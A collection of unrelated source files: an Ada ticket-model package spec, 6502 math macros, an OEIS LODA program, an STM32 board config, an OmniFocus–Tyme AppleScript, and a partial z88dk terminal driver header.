Jason.Tickets.Models.Status_Type; -- Set the ticket description. procedure Set_Description (Object : in out Ticket_Ref; Value : in Ada.Strings.Unbounded.Unbounded_String); procedure Set_Description (Object : in out Ticket_Ref; Value : in String); -- Get the ticket description. function Get_Description (Object : in Ticket_Ref) return Ada.Strings.Unbounded.Unbounded_String; function Get_Description (Object : in Ticket_Ref) return String; -- Set the last ticket update date. procedure Set_Update_Date (Object : in out Ticket_Ref; Value : in Ada.Calendar.Time); -- Get the last ticket update date. function Get_Update_Date (Object : in Ticket_Ref) return Ada.Calendar.Time; -- Set the ticket type. procedure Set_Ticket_Type (Object : in out Ticket_Ref; Value : in Jason.Tickets.Models.Ticket_Type); -- Get the ticket type. function Get_Ticket_Type (Object : in Ticket_Ref) return Jason.Tickets.Models.Ticket_Type; -- Set the duration to resolve the ticket. procedure Set_Duration (Object : in out Ticket_Ref; Value : in Integer); -- Get the duration to resolve the ticket. function Get_Duration (Object : in Ticket_Ref) return Integer; -- Set the progress percentation (0 .. 100). procedure Set_Progress (Object : in out Ticket_Ref; Value : in Integer); -- Get the progress percentation (0 .. 100). function Get_Progress (Object : in Ticket_Ref) return Integer; -- procedure Set_Project (Object : in out Ticket_Ref; Value : in Jason.Projects.Models.Project_Ref'Class); -- function Get_Project (Object : in Ticket_Ref) return Jason.Projects.Models.Project_Ref'Class; -- procedure Set_Creator (Object : in out Ticket_Ref; Value : in AWA.Users.Models.User_Ref'Class); -- function Get_Creator (Object : in Ticket_Ref) return AWA.Users.Models.User_Ref'Class; -- Load the entity identified by 'Id'. -- Raises the NOT_FOUND exception if it does not exist. procedure Load (Object : in out Ticket_Ref; Session : in out ADO.Sessions.Session'Class; Id : in ADO.Identifier); -- Load the entity identified by 'Id'. -- Returns True in <b>Found</b> if the object was found and False if it does not exist. procedure Load (Object : in out Ticket_Ref; Session : in out ADO.Sessions.Session'Class; Id : in ADO.Identifier; Found : out Boolean); -- Find and load the entity. overriding procedure Find (Object : in out Ticket_Ref; Session : in out ADO.Sessions.Session'Class; Query : in ADO.SQL.Query'Class; Found : out Boolean); -- Save the entity. If the entity does not have an identifier, an identifier is allocated -- and it is inserted in the table. Otherwise, only data fields which have been changed -- are updated. overriding procedure Save (Object : in out Ticket_Ref; Session : in out ADO.Sessions.Master_Session'Class); -- Delete the entity. overriding procedure Delete (Object : in out Ticket_Ref; Session : in out ADO.Sessions.Master_Session'Class); overriding function Get_Value (From : in Ticket_Ref; Name : in String) return Util.Beans.Objects.Object; -- Table definition TICKET_TABLE : constant ADO.Schemas.Class_Mapping_Access; -- Internal method to allocate the Object_Record instance overriding procedure Allocate (Object : in out Ticket_Ref); -- Copy of the object. procedure Copy (Object : in Ticket_Ref; Into : in out Ticket_Ref); package Ticket_Vectors is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => Ticket_Ref, "=" => "="); subtype Ticket_Vector is Ticket_Vectors.Vector; procedure List (Object : in out Ticket_Vector; Session : in out ADO.Sessions.Session'Class; Query : in ADO.SQL.Query'Class); -- Create an object key for Attribute. function Attribute_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key; -- Create an object key for Attribute from a string. -- Raises Constraint_Error if the string cannot be converted into the object key. function Attribute_Key (Id : in String) return ADO.Objects.Object_Key; Null_Attribute : constant Attribute_Ref; function "=" (Left, Right : Attribute_Ref'Class) return Boolean; -- procedure Set_Id (Object : in out Attribute_Ref; Value : in ADO.Identifier); -- function Get_Id (Object : in Attribute_Ref) return ADO.Identifier; -- procedure Set_Value (Object : in out Attribute_Ref; Value : in Ada.Strings.Unbounded.Unbounded_String); procedure Set_Value (Object : in out Attribute_Ref; Value : in String); -- function Get_Value (Object : in Attribute_Ref) return Ada.Strings.Unbounded.Unbounded_String; function Get_Value (Object : in Attribute_Ref) return String; -- function Get_Version (Object : in Attribute_Ref) return Integer; -- Set the attribute definition. procedure Set_Definition (Object : in out Attribute_Ref; Value : in Jason.Projects.Models.Attribute_Definition_Ref'Class); -- Get the attribute definition. function Get_Definition (Object : in Attribute_Ref) return Jason.Projects.Models.Attribute_Definition_Ref'Class; -- procedure Set_Ticket (Object : in out Attribute_Ref; Value : in Jason.Tickets.Models.Ticket_Ref'Class); -- function Get_Ticket (Object : in Attribute_Ref) return Jason.Tickets.Models.Ticket_Ref'Class; -- Load the entity identified by 'Id'. -- Raises the NOT_FOUND exception if it does not exist. procedure Load (Object : in out Attribute_Ref; Session : in out ADO.Sessions.Session'Class; Id : in ADO.Identifier); -- Load the entity identified by 'Id'. -- Returns True in <b>Found</b> if the object was found and False if it does not exist. procedure Load (Object : in out Attribute_Ref; Session : in out ADO.Sessions.Session'Class; Id : in ADO.Identifier; Found : out Boolean); -- Find and load the entity. overriding procedure Find (Object : in out Attribute_Ref; Session : in out ADO.Sessions.Session'Class; Query : in ADO.SQL.Query'Class; Found : out Boolean); -- Save the entity. If the entity does not have an identifier, an identifier is allocated -- and it is inserted in the table. Otherwise, only data fields which have been changed -- are updated. overriding procedure Save (Object : in out Attribute_Ref; Session : in out ADO.Sessions.Master_Session'Class); -- Delete the entity. overriding procedure Delete (Object : in out Attribute_Ref; Session : in out ADO.Sessions.Master_Session'Class); overriding function Get_Value (From : in Attribute_Ref; Name : in String) return Util.Beans.Objects.Object; -- Table definition ATTRIBUTE_TABLE : constant ADO.Schemas.Class_Mapping_Access; -- Internal method to allocate the Object_Record instance overriding procedure Allocate (Object : in out Attribute_Ref); -- Copy of the object. procedure Copy (Object : in Attribute_Ref; Into : in out Attribute_Ref); package Attribute_Vectors is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => Attribute_Ref, "=" => "="); subtype Attribute_Vector is Attribute_Vectors.Vector; procedure List (Object : in out Attribute_Vector; Session : in out ADO.Sessions.Session'Class; Query : in ADO.SQL.Query'Class); Query_Stats : constant ADO.Queries.Query_Definition_Access; -- -------------------- -- The list of tickets. -- -------------------- type List_Info is new Util.Beans.Basic.Bean with record -- the ticket identifier. Id : ADO.Identifier; -- the ticket ident number. Ident : Integer; -- the ticket summary. Summary : Ada.Strings.Unbounded.Unbounded_String; -- the ticket priority. Priority : Integer; -- the ticket creation date. Create_Date : Ada.Calendar.Time; -- the ticket modification date. Update_Date : Ada.Calendar.Time; -- the ticket status. Status : Jason.Tickets.Models.Status_Type; -- the ticket type. Ticket_Type : Jason.Tickets.Models.Ticket_Type; -- the ticket duration. Duration : Integer; -- the ticket progress. Progress : Integer; -- the ticket creator's name. Creator : Ada.Strings.Unbounded.Unbounded_String; end record; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in List_Info; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out List_Info; Name : in String; Value : in Util.Beans.Objects.Object); package List_Info_Beans is new Util.Beans.Basic.Lists (Element_Type => List_Info); package List_Info_Vectors renames List_Info_Beans.Vectors; subtype List_Info_List_Bean is List_Info_Beans.List_Bean; type List_Info_List_Bean_Access is access all List_Info_List_Bean; -- Run the query controlled by <b>Context</b> and append the list in <b>Object</b>. procedure List (Object : in out List_Info_List_Bean'Class; Session : in out ADO.Sessions.Session'Class; Context : in out ADO.Queries.Context'Class); subtype List_Info_Vector is List_Info_Vectors.Vector; -- Run the query controlled by <b>Context</b> and append the list in <b>Object</b>. procedure List (Object : in out List_Info_Vector; Session : in out ADO.Sessions.Session'Class; Context : in out ADO.Queries.Context'Class); Query_List : constant ADO.Queries.Query_Definition_Access; Query_List_Tag_Filter : constant ADO.Queries.Query_Definition_Access; -- -------------------- -- The ticket information. -- -------------------- type Ticket_Info is abstract new Util.Beans.Basic.Bean and Util.Beans.Methods.Method_Bean with record -- the ticket identifier. Id : ADO.Identifier; -- the ticket ident number. Ident : Integer; -- the ticket summary. Summary : Ada.Strings.Unbounded.Unbounded_String; -- the ticket description. Description : Ada.Strings.Unbounded.Unbounded_String; -- the ticket priority. Priority : Integer; -- the ticket creation date. Create_Date : Ada.Calendar.Time; -- the ticket modification date. Update_Date : Ada.Calendar.Time; -- the ticket status. Status : Jason.Tickets.Models.Status_Type; -- the project identifier. Project_Id : ADO.Identifier; -- the project name. Project_Name : Ada.Strings.Unbounded.Unbounded_String; -- the ticket creator's name. Creator : Ada.Strings.Unbounded.Unbounded_String; end record; -- This bean provides some methods that can be used in a Method_Expression. overriding function Get_Method_Bindings (From : in Ticket_Info) return Util.Beans.Methods.Method_Binding_Array_Access; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in Ticket_Info; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out Ticket_Info; Name : in String; Value : in Util.Beans.Objects.Object); procedure Load (Bean : in out Ticket_Info; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; -- Read in the object the data from the query result and prepare to read the next row. -- If there is no row, raise the ADO.NOT_FOUND exception. procedure Read (Into : in out Ticket_Info; Stmt : in out ADO.Statements.Query_Statement'Class); -- Run the query controlled by <b>Context</b> and load the result in <b>Object</b>. procedure Load (Object : in out Ticket_Info'Class; Session : in out ADO.Sessions.Session'Class; Context : in out ADO.Queries.Context'Class); Query_Info : constant ADO.Queries.Query_Definition_Access; -- -------------------- -- save the ticket status, priority, ticket_type with the associated comment. -- -------------------- type Ticket_Bean is abstract new Jason.Tickets.Models.Ticket_Ref and Util.Beans.Basic.Bean and Util.Beans.Methods.Method_Bean with record -- the comment associated with the save operation. Comment : Ada.Strings.Unbounded.Unbounded_String; end record; -- This bean provides some methods that can be used in a Method_Expression. overriding function Get_Method_Bindings (From : in Ticket_Bean) return Util.Beans.Methods.Method_Binding_Array_Access; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in Ticket_Bean; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out Ticket_Bean; Name : in String; Value : in Util.Beans.Objects.Object); procedure Load (Bean : in out Ticket_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; procedure Create (Bean : in out Ticket_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; procedure Save (Bean : in out Ticket_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; procedure Save_Status (Bean : in out Ticket_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; type Ticket_List_Bean is abstract limited new Util.Beans.Basic.Bean and Util.Beans.Methods.Method_Bean with record Project_Id : ADO.Identifier; -- the page number. Page : Integer; -- the number of tickets found. Count : Integer; -- the tag filter. Tag : Ada.Strings.Unbounded.Unbounded_String; -- the number of tickets per page. Page_Size : Integer; -- the list sort order. Sort : Ada.Strings.Unbounded.Unbounded_String; -- the ticket status filter. Status : Status_Type; -- the ticket priority filter. Priority : Integer; -- the ticket type Ticket_Kind : Ticket_Type; end record; -- This bean provides some methods that can be used in a Method_Expression. overriding function Get_Method_Bindings (From : in Ticket_List_Bean) return Util.Beans.Methods.Method_Binding_Array_Access; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in Ticket_List_Bean; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out Ticket_List_Bean; Name : in String; Value : in Util.Beans.Objects.Object); procedure Load (Bean : in out Ticket_List_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; type Ticket_Info_Bean is abstract limited new Util.Beans.Basic.Bean and Util.Beans.Methods.Method_Bean with record Ticket_Id : ADO.Identifier; end record; -- This bean provides some methods that can be used in a Method_Expression. overriding function Get_Method_Bindings (From : in Ticket_Info_Bean) return Util.Beans.Methods.Method_Binding_Array_Access; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in Ticket_Info_Bean; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out Ticket_Info_Bean; Name : in String; Value : in Util.Beans.Objects.Object); procedure Load (Bean : in out Ticket_Info_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; type Stat_Bean is new Util.Beans.Basic.Bean with record -- the ticket type. Kind : Ticket_Type; -- the ticket priority. Priority : Integer; -- the number of tickets. Count : Integer; -- the sum of duration for the tickets. Time : Integer; -- remain duration. Remain : Integer; Done : Integer; end record; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in Stat_Bean; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out Stat_Bean; Name : in String; Value : in Util.Beans.Objects.Object); type Report_Bean is abstract new Util.Beans.Basic.Bean and Util.Beans.Methods.Method_Bean with null record; -- This bean provides some methods that can be used in a Method_Expression. overriding function Get_Method_Bindings (From : in Report_Bean) return Util.Beans.Methods.Method_Binding_Array_Access; -- Get the bean attribute identified by the name. overriding function Get_Value (From : in Report_Bean; Name : in String) return Util.Beans.Objects.Object; -- Set the bean attribute identified by the name. overriding procedure Set_Value (Item : in out Report_Bean; Name : in String; Value : in Util.Beans.Objects.Object); procedure Load (Bean : in out Report_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is abstract; private TICKET_NAME : aliased constant String := "jason_ticket"; COL_0_1_NAME : aliased constant String := "id"; COL_1_1_NAME : aliased constant String := "version"; COL_2_1_NAME : aliased constant String := "summary"; COL_3_1_NAME : aliased constant String := "ident"; COL_4_1_NAME : aliased constant String := "create_date"; COL_5_1_NAME : aliased constant String := "priority"; COL_6_1_NAME : aliased constant String := "status"; COL_7_1_NAME : aliased constant String := "description"; COL_8_1_NAME : aliased constant String := "update_date"; COL_9_1_NAME : aliased constant String := "ticket_type"; COL_10_1_NAME : aliased constant String := "duration"; COL_11_1_NAME : aliased constant String := "progress"; COL_12_1_NAME : aliased constant String := "project_id"; COL_13_1_NAME : aliased constant String := "creator_id"; TICKET_DEF : aliased constant ADO.Schemas.Class_Mapping := (Count => 14, Table => TICKET_NAME'Access, Members => ( 1 => COL_0_1_NAME'Access, 2 => COL_1_1_NAME'Access, 3 => COL_2_1_NAME'Access, 4 => COL_3_1_NAME'Access, 5 => COL_4_1_NAME'Access, 6 => COL_5_1_NAME'Access, 7 => COL_6_1_NAME'Access, 8 => COL_7_1_NAME'Access, 9 => COL_8_1_NAME'Access, 10 => COL_9_1_NAME'Access, 11 => COL_10_1_NAME'Access, 12 => COL_11_1_NAME'Access, 13 => COL_12_1_NAME'Access, 14 => COL_13_1_NAME'Access) ); TICKET_TABLE : constant ADO.Schemas.Class_Mapping_Access := TICKET_DEF'Access; Null_Ticket : constant Ticket_Ref := Ticket_Ref'(ADO.Objects.Object_Ref with null record); type Ticket_Impl is new ADO.Objects.Object_Record (Key_Type => ADO.Objects.KEY_INTEGER, Of_Class => TICKET_DEF'Access) with record Version : Integer; Summary : Ada.Strings.Unbounded.Unbounded_String; Ident : Integer; Create_Date : Ada.Calendar.Time; Priority : Integer; Status : Jason.Tickets.Models.Status_Type; Description : Ada.Strings.Unbounded.Unbounded_String; Update_Date : Ada.Calendar.Time; Ticket_Type : Jason.Tickets.Models.Ticket_Type; Duration : Integer; Progress : Integer; Project : Jason.Projects.Models.Project_Ref; Creator : AWA.Users.Models.User_Ref; end record; type Ticket_Access is access all Ticket_Impl; overriding procedure Destroy (Object : access Ticket_Impl); overriding procedure Find (Object : in out Ticket_Impl; Session : in out ADO.Sessions.Session'Class; Query : in ADO.SQL.Query'Class; Found : out Boolean); overriding procedure Load (Object : in out Ticket_Impl; Session : in out ADO.Sessions.Session'Class); procedure Load (Object : in out Ticket_Impl; Stmt : in out ADO.Statements.Query_Statement'Class; Session : in out ADO.Sessions.Session'Class); overriding procedure Save (Object : in out Ticket_Impl; Session : in out ADO.Sessions.Master_Session'Class); procedure Create (Object : in out Ticket_Impl; Session : in out ADO.Sessions.Master_Session'Class); overriding procedure Delete (Object : in out Ticket_Impl; Session : in out ADO.Sessions.Master_Session'Class); procedure Set_Field (Object : in out Ticket_Ref'Class; Impl : out Ticket_Access); ATTRIBUTE_NAME : aliased constant String := "jason_attribute"; COL_0_2_NAME : aliased constant String := "id"; COL_1_2_NAME : aliased constant String := "value"; COL_2_2_NAME : aliased constant String := "version"; COL_3_2_NAME : aliased constant String := "definition_id"; COL_4_2_NAME : aliased constant String := "ticket_id"; ATTRIBUTE_DEF : aliased constant ADO.Schemas.Class_Mapping := (Count => 5, Table => ATTRIBUTE_NAME'Access, Members => ( 1 => COL_0_2_NAME'Access, 2 => COL_1_2_NAME'Access, 3 => COL_2_2_NAME'Access, 4 => COL_3_2_NAME'Access, 5 => COL_4_2_NAME'Access) ); ATTRIBUTE_TABLE : constant ADO.Schemas.Class_Mapping_Access := ATTRIBUTE_DEF'Access; Null_Attribute : constant Attribute_Ref := Attribute_Ref'(ADO.Objects.Object_Ref with null record); type Attribute_Impl is new ADO.Objects.Object_Record (Key_Type => ADO.Objects.KEY_INTEGER, Of_Class => ATTRIBUTE_DEF'Access) with record Value : Ada.Strings.Unbounded.Unbounded_String; Version : Integer; Definition : Jason.Projects.Models.Attribute_Definition_Ref; Ticket : Jason.Tickets.Models.Ticket_Ref; end record; type Attribute_Access is access all Attribute_Impl; overriding procedure Destroy (Object : access Attribute_Impl); overriding procedure Find (Object : in out Attribute_Impl; Session : in out ADO.Sessions.Session'Class; Query : in ADO.SQL.Query'Class; Found : out Boolean); overriding procedure Load (Object : in out Attribute_Impl; Session : in out ADO.Sessions.Session'Class); procedure Load (Object : in out Attribute_Impl; Stmt : in out ADO.Statements.Query_Statement'Class; Session : in out ADO.Sessions.Session'Class); overriding procedure Save (Object : in out Attribute_Impl; Session : in out ADO.Sessions.Master_Session'Class); procedure Create (Object : in out Attribute_Impl; Session : in out ADO.Sessions.Master_Session'Class); overriding procedure Delete (Object : in out Attribute_Impl; Session : in out ADO.Sessions.Master_Session'Class); procedure Set_Field (Object : in out Attribute_Ref'Class; Impl : out Attribute_Access); package File_1 is new ADO.Queries.Loaders.File (Path => "tickets-stat.xml", Sha1 => "9B2B599473F75F92CB5AB5045675E4CCEF926543"); package Def_Stats is new ADO.Queries.Loaders.Query (Name => "stats", File => File_1.File'Access); Query_Stats : constant ADO.Queries.Query_Definition_Access := Def_Stats.Query'Access; package File_2 is new ADO.Queries.Loaders.File (Path => "tickets-list.xml", Sha1 => "CAACFA6C1DA5F383FEE688DE4001B6EBE3C658D0"); package Def_Listinfo_List is new ADO.Queries.Loaders.Query (Name => "list", File => File_2.File'Access); Query_List : constant ADO.Queries.Query_Definition_Access := Def_Listinfo_List.Query'Access; package Def_Listinfo_List_Tag_Filter is new ADO.Queries.Loaders.Query (Name => "list-tag-filter", File => File_2.File'Access); Query_List_Tag_Filter : constant ADO.Queries.Query_Definition_Access := Def_Listinfo_List_Tag_Filter.Query'Access; package File_3 is new ADO.Queries.Loaders.File (Path => "ticket-info.xml", Sha1 => "D5C042D77C9A68858F200A871CDDD130F6E8262D"); package Def_Ticketinfo_Info is new ADO.Queries.Loaders.Query (Name => "info", File => File_3.File'Access); Query_Info : constant ADO.Queries.Query_Definition_Access := Def_Ticketinfo_Info.Query'Access; end Jason.Tickets.Models;
SpaceShooter/LibMath.asm
DioMuller/c64
5
84393
<filename>SpaceShooter/LibMath.asm ;=============================================================================== ; Macros/Subroutines defm LIBMATH_ABS_AA ; /1 = Number (Address) ; /2 = Result (Address) lda /1 bpl @positive eor #$FF ; invert the bits sta /2 inc /2 ; add 1 to give the two's compliment jmp @done @positive sta /2 @done endm ;============================================================================== defm LIBMATH_ADD8BIT_AAA ; /1 = 1st Number (Address) ; /2 = 2nd Number (Address) ; /3 = Sum (Address) clc ; Clear carry before add lda /1 ; Get first number adc /2 ; Add to second number sta /3 ; Store in sum endm ;============================================================================== defm LIBMATH_ADD8BIT_AVA ; /1 = 1st Number (Address) ; /2 = 2nd Number (Value) ; /3 = Sum (Address) clc ; Clear carry before add lda /1 ; Get first number adc #/2 ; Add to second number sta /3 ; Store in sum endm ;============================================================================== defm LIBMATH_ADD16BIT_AAVAAA ; /1 = 1st Number High Byte (Address) ; /2 = 1st Number Low Byte (Address) ; /3 = 2nd Number High Byte (Value) ; /4 = 2nd Number Low Byte (Address) ; /5 = Sum High Byte (Address) ; /6 = Sum Low Byte (Address) clc ; Clear carry before first add lda /2 ; Get LSB of first number adc /4 ; Add LSB of second number sta /6 ; Store in LSB of sum lda /1 ; Get MSB of first number adc #/3 ; Add carry and MSB of NUM2 sta /5 ; Store sum in MSB of sum endm ;============================================================================== defm LIBMATH_ADD16BIT_AAVVAA ; /1 = 1st Number High Byte (Address) ; /2 = 1st Number Low Byte (Address) ; /3 = 2nd Number High Byte (Value) ; /4 = 2nd Number Low Byte (Value) ; /5 = Sum High Byte (Address) ; /6 = Sum Low Byte (Address) clc ; Clear carry before first add lda /2 ; Get LSB of first number adc #/4 ; Add LSB of second number sta /6 ; Store in LSB of sum lda /1 ; Get MSB of first number adc #/3 ; Add carry and MSB of NUM2 sta /5 ; Store sum in MSB of sum endm ;============================================================================== defm LIBMATH_MIN8BIT_AV ; /1 = Number 1 (Address) ; /2 = Number 2 (Value) lda #/2 ; load Number 2 cmp /1 ; compare with Number 1 bcs @skip ; if Number 2 >= Number 1 then skip sta /1 ; else replace Number1 with Number2 @skip endm ;============================================================================== defm LIBMATH_MAX8BIT_AV ; /1 = Number 1 (Address) ; /2 = Number 2 (Value) lda #/2 ; load Number 2 cmp /1 ; compare with Number 1 bcc @skip ; if Number 2 < Number 1 then skip sta /1 ; else replace Number1 with Number2 @skip endm ;============================================================================== defm LIBMATH_MIN16BIT_AAVV ; /1 = Number 1 High (Address) ; /2 = Number 1 Low (Address) ; /3 = Number 2 High (Value) ; /4 = Number 2 Low (Value) ; high byte lda /1 ; load Number 1 cmp #/3 ; compare with Number 2 bmi @skip ; if Number 1 < Number 2 then skip lda #/3 sta /1 ; else replace Number1 with Number2 ; low byte lda #/4 ; load Number 2 cmp /2 ; compare with Number 1 bcs @skip ; if Number 2 >= Number 1 then skip sta /2 ; else replace Number1 with Number2 @skip endm ;============================================================================== defm LIBMATH_MAX16BIT_AAVV ; /1 = Number 1 High (Address) ; /2 = Number 1 Low (Address) ; /3 = Number 2 High (Value) ; /4 = Number 2 Low (Value) ; high byte lda #/3 ; load Number 2 cmp /1 ; compare with Number 1 bcc @skip ; if Number 2 < Number 1 then skip sta /1 ; else replace Number1 with Number2 ; low byte lda #/4 ; load Number 2 cmp /2 ; compare with Number 1 bcc @skip ; if Number 2 < Number 1 then skip sta /2 ; else replace Number1 with Number2 @skip endm ;============================================================================== defm LIBMATH_SUB8BIT_AAA ; /1 = 1st Number (Address) ; /2 = 2nd Number (Address) ; /3 = Sum (Address) sec ; sec is the same as clear borrow lda /1 ; Get first number sbc /2 ; Subtract second number sta /3 ; Store in sum endm ;============================================================================== defm LIBMATH_SUB8BIT_AVA ; /1 = 1st Number (Address) ; /2 = 2nd Number (Value) ; /3 = Sum (Address) sec ; sec is the same as clear borrow lda /1 ; Get first number sbc #/2 ; Subtract second number sta /3 ; Store in sum endm ;============================================================================== defm LIBMATH_SUB16BIT_AAVAAA ; /1 = 1st Number High Byte (Address) ; /2 = 1st Number Low Byte (Address) ; /3 = 2nd Number High Byte (Value) ; /4 = 2nd Number Low Byte (Address) ; /5 = Sum High Byte (Address) ; /6 = Sum Low Byte (Address) sec ; sec is the same as clear borrow lda /2 ; Get LSB of first number sbc /4 ; Subtract LSB of second number sta /6 ; Store in LSB of sum lda /1 ; Get MSB of first number sbc #/3 ; Subtract borrow and MSB of NUM2 sta /5 ; Store sum in MSB of sum endm ;============================================================================== defm LIBMATH_SUB16BIT_AAVVAA ; /1 = 1st Number High Byte (Address) ; /2 = 1st Number Low Byte (Address) ; /3 = 2nd Number High Byte (Value) ; /4 = 2nd Number Low Byte (Value) ; /5 = Sum High Byte (Address) ; /6 = Sum Low Byte (Address) sec ; sec is the same as clear borrow lda /2 ; Get LSB of first number sbc #/4 ; Subtract LSB of second number sta /6 ; Store in LSB of sum lda /1 ; Get MSB of first number sbc #/3 ; Subtract borrow and MSB of NUM2 sta /5 ; Store sum in MSB of sum endm
programs/oeis/164/A164096.asm
karttu/loda
0
5289
; A164096: Partial sums of A164095. ; 5,11,21,33,53,77,117,165,245,341,501,693,1013,1397,2037,2805,4085,5621,8181,11253,16373,22517,32757,45045,65525,90101,131061,180213,262133,360437,524277,720885,1048565,1441781,2097141,2883573,4194293,5767157,8388597,11534325,16777205,23068661,33554421,46137333,67108853,92274677,134217717,184549365,268435445,369098741,536870901,738197493,1073741813,1476394997,2147483637,2952790005,4294967285,5905580021,8589934581,11811160053,17179869173,23622320117,34359738357,47244640245,68719476725,94489280501,137438953461,188978561013,274877906933,377957122037,549755813877,755914244085,1099511627765,1511828488181,2199023255541,3023656976373,4398046511093,6047313952757,8796093022197,12094627905525,17592186044405,24189255811061,35184372088821,48378511622133,70368744177653,96757023244277,140737488355317,193514046488565,281474976710645,387028092977141,562949953421301,774056185954293,1125899906842613,1548112371908597,2251799813685237,3096224743817205,4503599627370485,6192449487634421,9007199254740981 mov $1,5 mov $3,6 lpb $0,1 sub $0,1 mov $2,$1 mov $1,$3 mul $1,2 sub $1,1 add $2,3 mov $3,3 add $3,$2 lpe
cc3df4revo/cfg/disco/config.ads
meowthsli/veriflight_boards
1
20109
with STM32.GPIO; use STM32.GPIO; with STM32.Device; use STM32.Device; with STM32.SPI; use STM32.SPI; package Config is SIGNAL_LED : GPIO_Point renames PD13; -- red led SPI_Accel_Port : SPI_Port renames STM32.Device.SPI_1; SCLK : GPIO_Point renames STM32.Device.PA5; MISO : GPIO_Point renames STM32.Device.PA6; MOSI : GPIO_Point renames STM32.Device.PA7; CS_ACCEL : GPIO_Point renames STM32.Device.PE3; Disco : Boolean := True; end Config;
OmniFocus/CompleteTaskInTyme/CompleteTaskInTyme.scpt
zdong1995/OmniFocus-Tyme-Script
30
2712
(* Complete current selected task in OmniFocus and complete the task with same name in Tyme . Then update the task name with a pair of time: real spent time / planned time. Copyright © 2020 <NAME> Licensed under MIT License *) tell application "OmniFocus" tell front window set selectedTree to selected trees of content set curTask to first item of selectedTree set tskName to name of curTask end tell tell application "Tyme2" set tsk to the first item of (every task of every project whose name = tskName) set tskId to id of tsk my taskCompletedChanged(tskId) set completed of tsk to true end tell end tell on taskCompletedChanged(tskId) tell application "Tyme2" set spent to 0.0 GetTaskRecordIDs startDate ((current date) - (168 * 60 * 60)) endDate (current date) taskID tskId set fetchedRecords to fetchedTaskRecordIDs as list repeat with recordID in fetchedRecords GetRecordWithID recordID set duration to timedDuration of lastFetchedTaskRecord set spent to (spent + duration / 3600) end repeat set spent to (round (spent * 10)) / 10 set tsk to the first item of (every task of every project whose id = tskId) set prj to the first item of (every project whose id = (relatedProjectID of tsk)) set pname to name of prj set tname to name of tsk tell application "OmniFocus" tell default document set opro to the first item of (flattened projects whose name is pname) set otsk to the first item of ((flattened tasks of opro) whose name is tname) mark complete otsk set plan to estimated minutes of otsk set name of otsk to (name of otsk & " ✅ " & spent as string) & " / " & (plan / 60) as string end tell end tell end tell end taskCompletedChanged
libsrc/_DEVELOPMENT/drivers/terminal/console_01/input/console_01_input_terminal.asm
teknoplop/z88dk
8
18169
<reponame>teknoplop/z88dk<gh_stars>1-10 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; CONSOLE_01_INPUT_TERMINAL ; library driver for input terminals ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Library input console driver that implements the ; CONSOLE_01_INPUT input terminal features. ; ; ;;;;;;;;;;;;;;;;;;;; ; DRIVER CLASS DIAGRAM ; ;;;;;;;;;;;;;;;;;;;; ; ; CONSOLE_01_INPUT_TERMINAL (root, abstract) ; ; The deriving driver must implement one message generated ; by this driver to complete an input terminal. ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; MESSAGES CONSUMED FROM STDIO ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; * STDIO_MSG_GETC ; * STDIO_MSG_EATC ; * STDIO_MSG_READ ; * STDIO_MSG_SEEK ; * STDIO_MSG_FLSH ; * STDIO_MSG_ICTL ; * STDIO_MSG_CLOS ; ; Others result in enotsup_zc. ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; MESSAGES GENERATED FOR DERIVED DRIVERS ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; * ITERM_MSG_GETC ; ; Read the keyboard device and return the char read. ; ; enter: ix = & FDSTRUCT.JP ; exit: a = char after character set translation ; carry set on error with hl=0 (err) or -1 (eof) ; can use: af, bc, de, hl ; ; If this message is implemented, the driver is complete. ; ; * ITERM_MSG_INTERRUPT ; ; Indicate whether character should interrupt line editing. ; ; enter: c = ascii code ; exit: carry reset indicates line editing should terminate ; can use: af, bc, de, hl ; ; Default is to return with carry set. ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; MESSAGES GENERATED FOR CONSOLE_01_OUTPUT_TERMINAL ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; * ITERM_MSG_PUTC ; ; Input terminal is generating a char to print that ; should not be subject to tty emulation. ; ; enter : c = ascii code ; can use: af, bc, de, hl, ix ; ; * ITERM_MSG_PRINT_CURSOR ; ; Input terminal is printing the cursor. ; ; enter : c = cursor ascii code (CHAR_CURSOR_UC or CHAR_CURSOR_LC) ; can use: af, bc, de, hl, ix ; ; * ITERM_MSG_ERASE_CURSOR ; ; Input terminal is backspacing to erase the cursor. ; ; enter : de = char *edit_buffer ; bc = int 